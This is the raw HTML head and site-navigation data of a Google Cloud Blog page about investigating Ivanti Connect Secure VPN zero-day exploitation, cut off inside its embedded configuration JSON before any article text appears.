CINXE.COM
Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Google Cloud Blog
<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://cloud.google.com/blog/"><link rel="preconnect" href="//www.gstatic.com"><meta name="referrer" content="origin"><meta name="viewport" content="initial-scale=1, width=device-width"><meta name="track-metadata-page_hosting_platform" content="blog_boq"><meta name="mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="application-name" content="Google Cloud Blog"><meta name="apple-mobile-web-app-title" content="Google Cloud Blog"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="msapplication-tap-highlight" content="no"><link rel="preconnect" href="//fonts.googleapis.com"><link rel="preconnect" href="//fonts.gstatic.com"><link rel="preconnect" href="//www.gstatic.com"><link rel="preconnect" href="//storage.googleapis.com"><link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Google+Sans+Text_old:400,500,700,400i,500i,700i"><link rel="manifest" crossorigin="use-credentials" href="_/TransformBlogUi/manifest.json"><link rel="home" href="/?lfhs=2"><link rel="msapplication-starturl" href="/?lfhs=2"><link rel="icon" href="//www.gstatic.com/cloud/images/icons/favicon.ico" sizes="32x32"><link rel="apple-touch-icon-precomposed" href="//www.gstatic.com/cloud/images/icons/favicon.ico" sizes="32x32"><link rel="msapplication-square32x32logo" href="//www.gstatic.com/cloud/images/icons/favicon.ico" sizes="32x32"><script data-id="_gd" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">window.WIZ_global_data = {"Bwo7Jf":"%.@.\"SG\",1]","CGQM5":"%.@.[[1]]]","DpimGf":false,"EP1ykd":["/_/*","/accounts/*","/transform","/transform/*"],"FdrFJe":"-57420960872444223","Im6cmf":"/blog/_/TransformBlogUi","JvMKJd":"%.@.\"GTM-5CVQBG\",[[\"en\",\"\\u202aEnglish\\u202c\",true,\"en\"],[\"de\",\"\\u202aDeutsch\\u202c\",true,\"de\"],[\"es\",\"\\u202aEspañol\\u202c\",true,\"es\"],[\"es-419\",\"\\u202aEspañol (Latinoamérica)\\u202c\",true,\"es-419\"],[\"fr\",\"\\u202aFrançais\\u202c\",true,\"fr\"],[\"id\",\"\\u202aIndonesia\\u202c\",true,\"id\"],[\"it\",\"\\u202aItaliano\\u202c\",true,\"it\"],[\"pt-BR\",\"\\u202aPortuguês (Brasil)\\u202c\",true,\"pt-BR\"],[\"zh-CN\",\"\\u202a简体中文\\u202c\",true,\"zh-Hans\"],[\"zh-TW\",\"\\u202a繁體中文\\u202c\",true,\"zh-Hant\"],[\"ja\",\"\\u202a日本語\\u202c\",true,\"ja\"],[\"ko\",\"\\u202a한국어\\u202c\",true,\"ko\"]],[\"83405\",\"AIzaSyD3LJeW4Q6gtdgJlyeFZUp-GhpIoc6EUeg\"],\"en\",null,null,[],[[\"https://cloud.google.com/innovators\",\"https://cloud.google.com/innovators/plus/activate\",\"https://cloud.google.com/innovators/innovatorsplus\"],[\"https://workspace.google.com/pricing\",\"https://www.x.com/googleworkspace\",\"https://www.facebook.com/googleworkspace\",\"https://www.youtube.com/channel/UCBmwzQnSoj9b6HzNmFrg_yw\",\"https://www.instagram.com/googleworkspace\",\"https://www.linkedin.com/showcase/googleworkspace\",\"https://about.google/?utm_source\\u003dworkspace.google.com\\u0026utm_medium\\u003dreferral\\u0026utm_campaign\\u003dgsuite-footer-en\",\"https://about.google/products/?tip\\u003dexplore\",\"https://workspace.google.com\",\"https://workspace.google.com/contact/?source\\u003dgafb-form-globalnav-en\",\"https://workspace.google.com/business/signup/welcome?hl\\u003den\\u0026source\\u003dgafb-form-globalnav-en\",\"https://workspace.google.com/blog\"],[\"https://www.cloudskillsboost.google\",\"https://www.cloudskillsboost.google?utm_source\\u003dcgc\\u0026utm_medium\\u003dwebsite\\u0026utm_campaign\\u003devergreen\",\"https://www.cloudskillsboost.google/subscriptions?utm_source\\u003dcgc\\u0026utm_medium\\u003dwebsite\\u0026utm_campaign\\u003devergreenlaunchpromo\",\"https://www.cloudskillsboost.google/subscriptions?utm_source\\u003dcgc\\u0026utm_medium\\u003dwebsite\\u0026utm_campaign\\u003devergreen\",\"https://www.cloudskillsboost.google/catalog?utm_source\\u003dcgc\\u0026utm_medium\\u003dwebsite\\u0026utm_campaign\\u003devergreen\",\"https://www.cloudskillsboost.google/paths?utm_source\\u003dcgc\\u0026utm_medium\\u003dwebsite\\u0026utm_campaign\\u003devergreen\"],[\"https://mapsplatform.google.com\"],[\"https://cloud.google.com/developers\",\"https://cloud.google.com/developers/settings?utm_source\\u003dinnovators\"],[\"https://console.cloud.google.com/freetrial\",\"https://console.cloud.google.com/\",\"https://console.cloud.google.com/freetrial?redirectPath\\u003dhttps://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/\"],[\"https://aitestkitchen.withgoogle.com/signup\",\"https://blog.google/technology/ai/join-us-in-the-ai-test-kitchen/\",\"https://cloud.google.com/ai\"],[\"https://googlecloudplatform.blogspot.com/\",\"https://github.com/GoogleCloudPlatform\",\"https://www.linkedin.com/company/google-cloud\",\"https://twitter.com/GoogleCloud_sg\",\"https://www.facebook.com/googlecloud\",\"https://www.youtube.com/GoogleCloudAPAC\"]],[2024,12,12],[[\"en\",\"x-default\"],\"x-default\"],[null,true],null,\"/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/?hl\\u003den\",[\"6LcsrxUqAAAAAFhpR1lXsPN2j2nsTwy6JTbRKzJr\"]]","LVIXXb":1,"LoQv7e":false,"M55kSc":"%.@.]","MT7f9b":[],"MUE6Ne":"TransformBlogUi","PylxI":"%.@.\"cloudblog\",\"topics/threat-intelligence/investigating-ivanti-zero-day-exploitation\",[\"en\",\"de\",\"fr\",\"ko\",\"ja\"],\"en\",null,\"https://cloud.google.com/blog\",\"blog_article\",\"cloud.google.com\",[\"https://console.cloud.google.com/freetrial/\",\"https://cloud.google.com/contact/\",\"https://cloud.google.com/\",\"https://cloud.google.com/blog\",\"https://cloud.google.com/\",\"https://www.google.com/\",\"https://cloud.google.com/products/\",\"https://about.google.com/products/\",\"https://about.google/intl/en/\",\"https://support.google.com\"],[\"googlecloud\",\"googlecloud\",\"showcase/google-cloud\",\"googlecloud/\",\"googlecloud/\"],true]","QrtxK":"","S06Grb":"","S6lZl":105833389,"TSDtV":"%.@.[[null,[[45449436,null,false,null,null,null,\"NCoWOd\"],[45667527,null,false,null,null,null,\"Qzt9sd\"],[45449424,null,null,null,\"default\",null,\"PB4oCc\"],[45532645,null,true,null,null,null,\"wFnpse\"],[45643590,null,false,null,null,null,\"w7jzef\"],[45449433,null,true,null,null,null,\"BotAtd\"],[45662378,null,true,null,null,null,\"DG71uf\"],[45449442,null,true,null,null,null,\"dsKk4d\"],[45449449,null,true,null,null,null,\"b5B1L\"],[45663339,null,true,null,null,null,\"OEmSkb\"],[45664956,null,false,null,null,null,\"aeNUHe\"],[45459555,null,false,null,null,null,\"Imeoqb\"],[45646404,null,false,null,null,null,\"tfPPe\"],[45651445,null,true,null,null,null,\"XzXOC\"],[45449440,null,false,null,null,null,\"j9nUqf\"],[45631885,null,false,null,null,null,\"kG32O\"],[45449445,null,true,null,null,null,\"C4H3Td\"],[45649370,null,true,null,null,null,\"LibkZ\"],[45657332,null,true,null,null,null,\"oBUucf\"],[45449438,null,false,null,null,null,\"m0uJSe\"],[45449471,null,null,null,\"default\",null,\"Ammqqf\"],[45612748,null,false,null,null,null,\"fdXYmb\"],[45449467,null,null,null,\"variant2\",null,\"qL2Vf\"],[45449469,null,null,null,\"default\",null,\"mBNY1\"],[45449443,null,false,null,null,null,\"wvKxS\"],[45616194,null,false,null,null,null,\"y3jdm\"],[45449434,null,true,null,null,null,\"PvZHQ\"],[45449428,null,null,null,\"default\",null,\"cbPi4d\"],[45664077,null,false,null,null,null,\"w1axY\"],[45449423,null,null,null,\"default\",null,\"FIJFKf\"],[45449450,null,false,null,null,null,\"PTNaKe\"],[45632110,null,true,null,null,null,\"QK58Od\"],[45449435,null,false,null,null,null,\"s7Z7Ld\"],[45449446,null,true,null,null,null,\"ktxJzc\"],[45449468,null,null,null,\"variant4\",null,\"BUEcUe\"],[45659313,null,false,null,null,null,\"i2rGv\"],[45532646,null,true,null,null,null,\"RIvlU\"],[45449439,null,true,null,null,null,\"lsuui\"],[45650156,null,false,null,null,null,\"Pr5Lcf\"],[45449422,null,null,null,\"default\",null,\"epsxQe\"],[45628378,null,true,null,null,null,\"hRRuzd\"],[45651724,null,true,null,null,null,\"xYDLRc\"],[45662552,null,false,null,null,null,\"epuB3d\"],[45449444,null,true,null,null,null,\"HGJqie\"],[45655733,null,true,null,null,null,\"xPTOyb\"],[45663526,null,false,null,null,null,\"kG33G\"]],\"CAMSJB0l5c2IEKP+BOrvF/2KA82ttBKhkOMGFrecDRbN9Q3WywbELQ\\u003d\\u003d\"]]]","UUFaWc":"%.@.null,1000,2]","Vvafkd":false,"Yllh3e":"%.@.1734016450805699,11996846,2148483130]","aAofAd":"%.@.[[[\"Solutions \\u0026 technology\",null,[[[\"AI \\u0026 Machine Learning\",\"/blog/products/ai-machine-learning\"],[\"API Management\",\"/blog/products/api-management\"],[\"Application Development\",\"/blog/products/application-development\"],[\"Application Modernization\",\"/blog/products/application-modernization\"],[\"Chrome Enterprise\",\"/blog/products/chrome-enterprise\"],[\"Compute\",\"/blog/products/compute\"],[\"Containers \\u0026 Kubernetes\",\"/blog/products/containers-kubernetes\"],[\"Data Analytics\",\"/blog/products/data-analytics\"],[\"Databases\",\"/blog/products/databases\"],[\"DevOps \\u0026 SRE\",\"/blog/products/devops-sre\"],[\"Maps \\u0026 Geospatial\",\"/blog/topics/maps-geospatial\"],[\"Security\",null,[[[\"Security \\u0026 Identity\",\"/blog/products/identity-security\"],[\"Threat Intelligence\",\"/blog/topics/threat-intelligence\"]]]],[\"Infrastructure\",\"/blog/products/infrastructure\"],[\"Infrastructure Modernization\",\"/blog/products/infrastructure-modernization\"],[\"Networking\",\"/blog/products/networking\"],[\"Productivity \\u0026 Collaboration\",\"/blog/products/productivity-collaboration\"],[\"SAP on Google Cloud\",\"/blog/products/sap-google-cloud\"],[\"Storage \\u0026 Data Transfer\",\"/blog/products/storage-data-transfer\"],[\"Sustainability\",\"/blog/topics/sustainability\"]]]],[\"Ecosystem\",null,[[[\"IT Leaders\",\"/transform\"],[\"Industries\",null,[[[\"Financial Services\",\"/blog/topics/financial-services\"],[\"Healthcare \\u0026 Life Sciences\",\"/blog/topics/healthcare-life-sciences\"],[\"Manufacturing\",\"/blog/topics/manufacturing\"],[\"Media \\u0026 Entertainment\",\"/blog/products/media-entertainment\"],[\"Public Sector\",\"/blog/topics/public-sector\"],[\"Retail\",\"/blog/topics/retail\"],[\"Supply Chain\",\"/blog/topics/supply-chain-logistics\"],[\"Telecommunications\",\"/blog/topics/telecommunications\"]]]],[\"Partners\",\"/blog/topics/partners\"],[\"Startups \\u0026 SMB\",\"/blog/topics/startups\"],[\"Training \\u0026 Certifications\",\"/blog/topics/training-certifications\"],[\"Inside Google Cloud\",\"/blog/topics/inside-google-cloud\"],[\"Google Cloud Next \\u0026 Events\",\"/blog/topics/google-cloud-next\"],[\"Google Maps Platform\",\"https://mapsplatform.google.com/resources/blog/\"],[\"Google Workspace\",\"https://workspace.google.com/blog\"]]]],[\"Developers \\u0026 Practitioners\",\"/blog/topics/developers-practitioners\"],[\"Transform with Google Cloud\",\"/transform\"]]],[[\"de\",[[[\"Neuigkeiten\",\"/blog/de/topics/whats-new/aktuelles-auf-dem-google-cloud-blog\"],[\"Lösungen \\u0026 Technologien\",null,[[[\"Anwendungsentwicklung\",\"/blog/de/products/application-development\"],[\"Anwendungsmodernisierung\",\"/blog/de/products/anwendungsmodernisierung\"],[\"API-Verwaltung\",\"/blog/de/products/api-management\"],[\"Chrome Enterprise\",\"/blog/de/products/chrome-enterprise\"],[\"Computing\",\"/blog/de/products/compute\"],[\"Containers \\u0026 Kubernetes\",\"/blog/de/products/containers-kubernetes\"],[\"Datenanalysen\",\"/blog/de/products/data-analytics\"],[\"Datenbanken\",\"/blog/de/products/databases\"],[\"DevOps \\u0026 SRE\",\"/blog/de/products/devops-sre\"],[\"Infrastruktur\",\"/blog/de/products/infrastructure\"],[\"KI \\u0026 Machine Learning\",\"/blog/de/products/ai-machine-learning\"],[\"Maps \\u0026 Geospatial\",\"/blog/de/topics/maps-geospatial\"],[\"Modernisierung der Infrastruktur\",\"/blog/de/products/modernisierung-der-infrastruktur\"],[\"Nachhaltigkeit\",\"/blog/de/topics/nachhaltigkeit\"],[\"Netzwerk\",\"/blog/de/products/networking\"],[\"Produktivität und Zusammenarbeit\",\"/blog/de/products/produktivitaet-und-kollaboration\"],[\"SAP in Google Cloud\",\"/blog/de/products/sap-google-cloud\"],[\"Sicherheit \\u0026 Identität\",\"/blog/de/products/identity-security\"],[\"Speicher und Datentransfer\",\"/blog/de/products/storage-data-transfer\"]]]],[\"Ökosystem\",null,[[[\"IT Leader\",\"/transform/de\"],[\"Industrien\",null,[[[\"Behörden und öffentlicher Sektor\",\"/blog/de/topics/public-sector\"],[\"Einzelhandel\",\"/blog/de/topics/retail\"],[\"Fertigung\",\"/blog/de/topics/fertigung\"],[\"Finanzdienstleistungen\",\"/blog/de/topics/financial-services\"],[\"Gesundheitswesen und Biowissenschaften\",\"/blog/de/topics/healthcare-life-sciences\"],[\"Lieferkette und Logistik\",\"/blog/de/topics/lieferkette-und-logistik\"],[\"Medien und Unterhaltung\",\"/blog/de/products/media-entertainment\"],[\"Telekommunikation\",\"/blog/de/topics/telecommunications\"]]]],[\"Entwickler*innen \\u0026 Fachkräfte\",\"/blog/de/topics/developers-practitioners\"],[\"Google Cloud Next \\u0026 Events\",\"/blog/de/topics/events\"],[\"Google Maps Platform\",\"/blog/de/products/maps-platform\"],[\"Google Workspace\",\"https://workspace.google.com/blog/de\"],[\"Inside Google Cloud\",\"/blog/de/topics/inside-google-cloud\"],[\"Kunden\",\"/blog/de/topics/kunden\"],[\"Partner\",\"/blog/de/topics/partners\"],[\"Start-ups und KMU\",\"/blog/de/topics/startups\"],[\"Training und Zertifizierung\",\"/blog/de/topics/training-certifications\"]]]],[\"Transformation mit Google Cloud\",\"/transform/de\"]]]],[\"en\",[[[\"Solutions \\u0026 technology\",null,[[[\"AI \\u0026 Machine Learning\",\"/blog/products/ai-machine-learning\"],[\"API Management\",\"/blog/products/api-management\"],[\"Application Development\",\"/blog/products/application-development\"],[\"Application Modernization\",\"/blog/products/application-modernization\"],[\"Chrome Enterprise\",\"/blog/products/chrome-enterprise\"],[\"Compute\",\"/blog/products/compute\"],[\"Containers \\u0026 Kubernetes\",\"/blog/products/containers-kubernetes\"],[\"Data Analytics\",\"/blog/products/data-analytics\"],[\"Databases\",\"/blog/products/databases\"],[\"DevOps \\u0026 SRE\",\"/blog/products/devops-sre\"],[\"Maps \\u0026 Geospatial\",\"/blog/topics/maps-geospatial\"],[\"Security\",null,[[[\"Security \\u0026 Identity\",\"/blog/products/identity-security\"],[\"Threat Intelligence\",\"/blog/topics/threat-intelligence\"]]]],[\"Infrastructure\",\"/blog/products/infrastructure\"],[\"Infrastructure Modernization\",\"/blog/products/infrastructure-modernization\"],[\"Networking\",\"/blog/products/networking\"],[\"Productivity \\u0026 Collaboration\",\"/blog/products/productivity-collaboration\"],[\"SAP on Google Cloud\",\"/blog/products/sap-google-cloud\"],[\"Storage \\u0026 Data Transfer\",\"/blog/products/storage-data-transfer\"],[\"Sustainability\",\"/blog/topics/sustainability\"]]]],[\"Ecosystem\",null,[[[\"IT Leaders\",\"/transform\"],[\"Industries\",null,[[[\"Financial Services\",\"/blog/topics/financial-services\"],[\"Healthcare \\u0026 Life Sciences\",\"/blog/topics/healthcare-life-sciences\"],[\"Manufacturing\",\"/blog/topics/manufacturing\"],[\"Media \\u0026 Entertainment\",\"/blog/products/media-entertainment\"],[\"Public Sector\",\"/blog/topics/public-sector\"],[\"Retail\",\"/blog/topics/retail\"],[\"Supply Chain\",\"/blog/topics/supply-chain-logistics\"],[\"Telecommunications\",\"/blog/topics/telecommunications\"]]]],[\"Partners\",\"/blog/topics/partners\"],[\"Startups \\u0026 SMB\",\"/blog/topics/startups\"],[\"Training \\u0026 Certifications\",\"/blog/topics/training-certifications\"],[\"Inside Google Cloud\",\"/blog/topics/inside-google-cloud\"],[\"Google Cloud Next \\u0026 Events\",\"/blog/topics/google-cloud-next\"],[\"Google Maps Platform\",\"https://mapsplatform.google.com/resources/blog/\"],[\"Google Workspace\",\"https://workspace.google.com/blog\"]]]],[\"Developers \\u0026 Practitioners\",\"/blog/topics/developers-practitioners\"],[\"Transform with Google Cloud\",\"/transform\"]]]],[\"fr\",[[[\"Les tendances\",\"/blog/fr/topics/les-tendances/quelles-sont-les-nouveautes-de-google-cloud\"],[\"Solutions et Technologie\",null,[[[\"Analyse de données\",\"/blog/fr/products/analyse-de-donnees/\"],[\"Bases de données\",\"/blog/fr/products/databases\"],[\"Calcul\",\"/blog/fr/products/calcul/\"],[\"Chrome Entreprise\",\"/blog/fr/products/chrome-enterprise/\"],[\"Conteneurs et Kubernetes\",\"/blog/fr/products/conteneurs-et-kubernetes/\"],[\"Développement d\u0027Applications\",\"/blog/fr/products/application-development\"],[\"Développement durable\",\"/blog/fr/topics/developpement-durable\"],[\"DevOps et ingénierie SRE\",\"/blog/fr/products/devops-sre\"],[\"Gestion des API\",\"/blog/fr/products/api-management\"],[\"IA et Machine Learning\",\"/blog/fr/products/ai-machine-learning\"],[\"Infrastructure\",\"/blog/fr/products/infrastructure\"],[\"Maps et Géospatial\",\"/blog/fr/topics/maps-geospatial\"],[\"Modernisation d\u0027Applications\",\"/blog/fr/products/modernisation-dapplications/\"],[\"Modernisation d\u0027Infrastructure\",\"/blog/fr/products/modernisation-dinfrastructure/\"],[\"Networking\",\"/blog/fr/products/networking\"],[\"Productivité et Collaboration\",\"/blog/fr/products/productivite-et-collaboration\"],[\"SAP sur Google Cloud\",\"/blog/fr/products/sap-google-cloud\"],[\"Sécurité et Identité\",\"/blog/fr/products/identity-security\"],[\"Stockage et transfert de données\",\"/blog/fr/products/storage-data-transfer\"]]]],[\"Écosystème\",null,[[[\"Responsables IT\",\"/transform/fr\"],[\"Industries\",null,[[[\"Commerce\",\"/blog/fr/topics/retail\"],[\"Manufacturing\",\"/blog/fr/topics/manufacturing\"],[\"Médias et Divertissement\",\"/blog/fr/products/media-entertainment\"],[\"Santé\",\"/blog/fr/topics/healthcare-life-sciences\"],[\"Secteur Public\",\"/blog/fr/topics/public-sector\"],[\"Services Financiers\",\"/blog/fr/topics/financial-services\"],[\"Supply Chain\",\"/blog/fr/topics/supply-chain/\"],[\"Telecommunications\",\"/blog/fr/topics/telecommunications\"]]]],[\"Clients\",\"/blog/fr/topics/clients/\"],[\"Développeurs et professionnels\",\"/blog/fr/topics/developers-practitioners\"],[\"Formations et certifications\",\"/blog/fr/topics/training-certifications\"],[\"Google Cloud Next et Événements\",\"/blog/fr/topics/evenements\"],[\"Google Maps Platform\",\"/blog/fr/products/maps-platform\"],[\"Google Workspace\",\"https://workspace.google.com/blog/fr\"],[\"Inside Google Cloud\",\"/blog/fr/topics/inside-google-cloud\"],[\"Partenaires\",\"/blog/fr/topics/partners\"],[\"Start-ups et PME\",\"/blog/fr/topics/startups\"]]]],[\"Transformer avec Google Cloud\",\"/transform/fr\"]]]],[\"ja\",[[[\"ソリューションとテクノロジー\",null,[[[\"AI \\u0026 機械学習\",\"/blog/ja/products/ai-machine-learning\"],[\"API 管理\",\"/blog/ja/products/api-management\"],[\"アプリケーション開発\",\"/blog/ja/products/application-development\"],[\"アプリケーション モダナイゼーション\",\"/blog/ja/products/application-modernization\"],[\"Chrome Enterprise\",\"/blog/ja/products/chrome-enterprise\"],[\"コンピューティング\",\"/blog/ja/products/compute\"],[\"Containers \\u0026 Kubernetes\",\"/blog/ja/products/containers-kubernetes\"],[\"データ分析\",\"/blog/ja/products/data-analytics\"],[\"データベース\",\"/blog/ja/products/databases\"],[\"DevOps \\u0026 SRE\",\"/blog/ja/products/devops-sre\"],[\"Maps \\u0026 Geospatial\",\"/blog/ja/products/maps-platform\"],[\"セキュリティ\",null,[[[\"セキュリティ \\u0026 アイデンティティ\",\"/blog/ja/products/identity-security\"],[\"脅威インテリジェンス\",\"/blog/ja/topics/threat-intelligence\"]]]],[\"インフラストラクチャ\",\"/blog/ja/products/infrastructure\"],[\"インフラ モダナイゼーション\",\"/blog/ja/products/infrastructure-modernization\"],[\"ネットワーキング\",\"/blog/ja/products/networking\"],[\"生産性とコラボレーション\",\"/blog/ja/products/productivity-collaboration\"],[\"Google Cloud での SAP\",\"/blog/ja/products/sap-google-cloud\"],[\"ストレージとデータ転送\",\"/blog/ja/products/storage-data-transfer\"],[\"サステナビリティ\",\"/blog/ja/topics/sustainability\"]]]],[\"エコシステム\",null,[[[\"ITリーダー\",\"/transform/ja\"],[\"業種\",null,[[[\"金融サービス\",\"/blog/ja/topics/financial-services\"],[\"ヘルスケア、ライフ サイエンス\",\"/blog/ja/topics/healthcare-life-sciences\"],[\"製造\",\"/blog/ja/topics/manufacturing\"],[\"メディア、エンターテイメント\",\"/blog/ja/products/media-entertainment\"],[\"公共部門\",\"/blog/ja/topics/public-sector\"],[\"小売業\",\"/blog/ja/topics/retail\"],[\"サプライ チェーン\",\"/blog/ja/topics/supply-chain-logistics\"],[\"通信\",\"/blog/ja/topics/telecommunications\"]]]],[\"顧客事例\",\"/blog/ja/topics/customers\"],[\"パートナー\",\"/blog/ja/topics/partners\"],[\"スタートアップ \\u0026 SMB\",\"/blog/ja/topics/startups\"],[\"トレーニングと認定\",\"/blog/ja/topics/training-certifications\"],[\"Inside Google Cloud\",\"/blog/ja/topics/inside-google-cloud\"],[\"Google Cloud Next と イベント\",\"/blog/ja/topics/google-cloud-next\"],[\"Google Maps Platform\",\"/blog/ja/products/maps-platform\"],[\"Google Workspace\",\"https://workspace.google.com/blog/ja\"]]]],[\"デベロッパー\",\"/blog/ja/topics/developers-practitioners\"],[\"Transform with Google Cloud\",\"/transform/ja\"]]]],[\"ko\",[[[\"솔루션 및 기술\",null,[[[\"AI 및 머신러닝\",\"/blog/ko/products/ai-machine-learning\"],[\"API 관리\",\"/blog/ko/products/api-management\"],[\"애플리케이션 개발\",\"/blog/ko/products/application-development\"],[\"애플리케이션 현대화\",\"/blog/ko/products/application-modernization\"],[\"Chrome Enterprise\",\"/blog/products/chrome-enterprise\"],[\"컴퓨팅\",\"/blog/ko/products/compute\"],[\"컨테이너 \\u0026 Kubernetes\",\"/blog/ko/products/containers-kubernetes\"],[\"데이터 분석\",\"/blog/ko/products/data-analytics\"],[\"데이터베이스\",\"/blog/ko/products/databases\"],[\"DevOps 및 SRE\",\"/blog/ko/products/devops-sre\"],[\"Maps \\u0026 Geospatial\",\"/blog/ko/products/maps-platform\"],[\"보안\",null,[[[\"보안 \\u0026 아이덴티티\",\"/blog/ko/products/identity-security\"],[\"위협 인텔리전스\",\"/blog/ko/topics/threat-intelligence\"]]]],[\"인프라\",\"/blog/ko/products/infrastructure\"],[\"Infrastructure Modernization\",\"/blog/ko/products/infrastructure-modernization\"],[\"네트워킹\",\"/blog/ko/products/networking\"],[\"생산성 및 공동작업\",\"/blog/ko/products/productivity-collaboration\"],[\"SAP on Google Cloud\",\"/blog/ko/products/sap-google-cloud\"],[\"스토리지 및 데이터 전송\",\"/blog/ko/products/storage-data-transfer\"],[\"지속가능성\",\"/blog/ko/topics/sustainability\"]]]],[\"에코시스템\",null,[[[\"IT Leaders\",\"/transform/ko\"],[\"업종\",null,[[[\"금융 서비스\",\"/blog/ko/topics/financial-services\"],[\"의료 및 생명과학\",\"/blog/ko/topics/healthcare-life-sciences\"],[\"제조업\",\"/blog/ko/topics/manufacturing\"],[\"미디어 및 엔터테인먼트\",\"/blog/ko/products/media-entertainment\"],[\"공공부문\",\"/blog/ko/topics/public-sector\"],[\"소매업\",\"/blog/ko/topics/retail\"],[\"공급망\",\"/blog/topics/supply-chain-logistics\"],[\"통신\",\"/blog/ko/topics/telecommunications\"]]]],[\"고객 사례\",\"/blog/ko/topics/customers\"],[\"파트너\",\"/blog/ko/topics/partners\"],[\"스타트업 \\u0026 SMB\",\"/blog/ko/topics/startups\"],[\"교육 \\u0026 인증\",\"/blog/ko/topics/training-certifications\"],[\"Inside Google Cloud\",\"/blog/ko/topics/inside-google-cloud\"],[\"Google Cloud Next 및 이벤트\",\"/blog/ko/topics/google-cloud-next\"],[\"Google Maps Platform\",\"/blog/ko/products/maps-platform\"],[\"Google Workspace\",\"https://workspace.google.com/blog/ko\"]]]],[\"개발 및 IT운영\",\"/blog/ko/topics/developers-practitioners\"],[\"Google Cloud와 함께 하는 디지털 혁신\",\"/transform/ko\"]]]]]]","cfb2h":"boq_cloudx-web-blog-uiserver_20241210.07_p0","eptZe":"/blog/_/TransformBlogUi/","f8POw":"%.@.[1714252,97442199,97656899,97785988,48897392,48554503,93778619,93874004,97517172,48887082,48830069,1706538,97889236,97684535,97894680,97863042,97535270,48489826,97442181,97656881,97785970,93873986,97517154,48887064,97684517],null,null,null,null,true]","fPDxwd":[97517172,97684535,97863042,97889236],"gGcLoe":false,"iCzhFc":false,"nQyAE":{"b5B1L":"true","PTNaKe":"false","ktxJzc":"true","BUEcUe":"variant4","XzXOC":"true","kG32O":"false","C4H3Td":"true","w1axY":"false","Pr5Lcf":"false","kG33G":"false","OEmSkb":"true","aeNUHe":"false","j9nUqf":"false","wvKxS":"false","wFnpse":"true","tfPPe":"false","LibkZ":"true","m0uJSe":"false","PvZHQ":"true","s7Z7Ld":"false","i2rGv":"false","RIvlU":"true","lsuui":"true","HGJqie":"true","NCoWOd":"false","Qzt9sd":"false","dsKk4d":"true","fdXYmb":"false","epuB3d":"false","BotAtd":"true"},"p9hQne":"https://www.gstatic.com/_/boq-cloudx-web-blog/_/r/","qwAQke":"TransformBlogUi","rtQCxc":-480,"u4g7r":"%.@.null,1000,2]","vJ2GOe":"%.@.null,[[\"de\",[[[\"Themen\",null,[[[\"Product Announcements\",\"/blog/de/product-announcements\"],[\"KI \\u0026 Machine Learning\",\"/blog/de/ai-machine-learning\"],[\"Produktivität und Kollaboration\",\"/blog/de/productivity-collaboration\"],[\"Identität und Sicherheit\",\"/blog/de/identity-and-security\"],[\"Future of Work\",\"/blog/de/future-of-work\"],[\"Hybrides Arbeiten\",\"/blog/de/hybrid-work\"],[\"Kundenreferenzen\",\"/blog/de/customer-stories\"],[\"Entwickler*innen und Fachkräfte\",\"/blog/de/developers-practitioners\"],[\"Partner\",\"/blog/de/partners\"],[\"Events\",\"/blog/de/events\"],[\"Öffentlicher Sektor\",\"/blog/de/public-sector\"]]]],[\"Produktneuigkeiten\",null,[[[\"Gmail\",\"/blog/de/gmail\"],[\"Meet\",\"/blog/de/meet\"],[\"Chat and Spaces\",\"/blog/de/chat-spaces\"],[\"Drive\",\"/blog/de/drive\"],[\"Docs\",\"/blog/de/docs\"],[\"Sheets\",\"/blog/de/sheets\"]]]]]]],[\"en\",[[[\"Topics\",null,[[[\"Product Announcements\",\"/blog/product-announcements\"],[\"AI and Machine Learning\",\"/blog/ai-machine-learning\"],[\"Productivity and Collaboration\",\"/blog/productivity-collaboration\"],[\"Identity and Security\",\"/blog/identity-and-security\"],[\"Future of Work\",\"/blog/future-of-work\"],[\"Hybrid Work\",\"/blog/hybrid-work\"],[\"Customer Stories\",\"/blog/customer-stories\"],[\"Developers and Practitioners\",\"/blog/developers-practitioners\"],[\"Partners\",\"/blog/partners\"],[\"Events\",\"/blog/events\"],[\"Public Sector\",\"/blog/public-sector\"]]]],[\"Product News\",null,[[[\"Gmail\",\"/blog/gmail\"],[\"Meet\",\"/blog/meet\"],[\"Chat and Spaces\",\"/blog/chat-spaces\"],[\"Drive\",\"/blog/drive\"],[\"Docs\",\"/blog/docs\"],[\"Sheets\",\"/blog/sheets\"]]]]]]],[\"fr\",[[[\"Thèmes\",null,[[[\"Product Announcements\",\"/blog/fr/product-announcements\"],[\"IA et Machine Learning\",\"/blog/fr/ai-machine-learning\"],[\"Productivité et Collaboration\",\"/blog/fr/productivity-collaboration\"],[\"Identité et Sécurité\",\"/blog/fr/identity-and-security\"],[\"L\u0027avenir du travail\",\"/blog/fr/future-of-work\"],[\"Travail hybride\",\"/blog/fr/hybrid-work\"],[\"Témoignages Clients\",\"/blog/fr/customer-stories\"],[\"Développeurs et professionnels\",\"/blog/fr/developers-practitioners\"],[\"Partenaires\",\"/blog/fr/partners\"],[\"Événements\",\"/blog/fr/events\"],[\"Secteur Public\",\"/blog/fr/public-sector\"]]]],[\"Annonces sur les produits\",null,[[[\"Gmail\",\"/blog/fr/gmail\"],[\"Meet\",\"/blog/fr/meet\"],[\"Chat et Spaces\",\"/blog/fr/chat-spaces\"],[\"Drive\",\"/blog/fr/drive\"],[\"Docs\",\"/blog/fr/docs\"],[\"Sheets\",\"/blog/fr/sheets\"]]]]]]],[\"ja\",[[[\"トピック\",null,[[[\"プロダクトの発表\",\"/blog/ja/product-announcements\"],[\"AI \\u0026 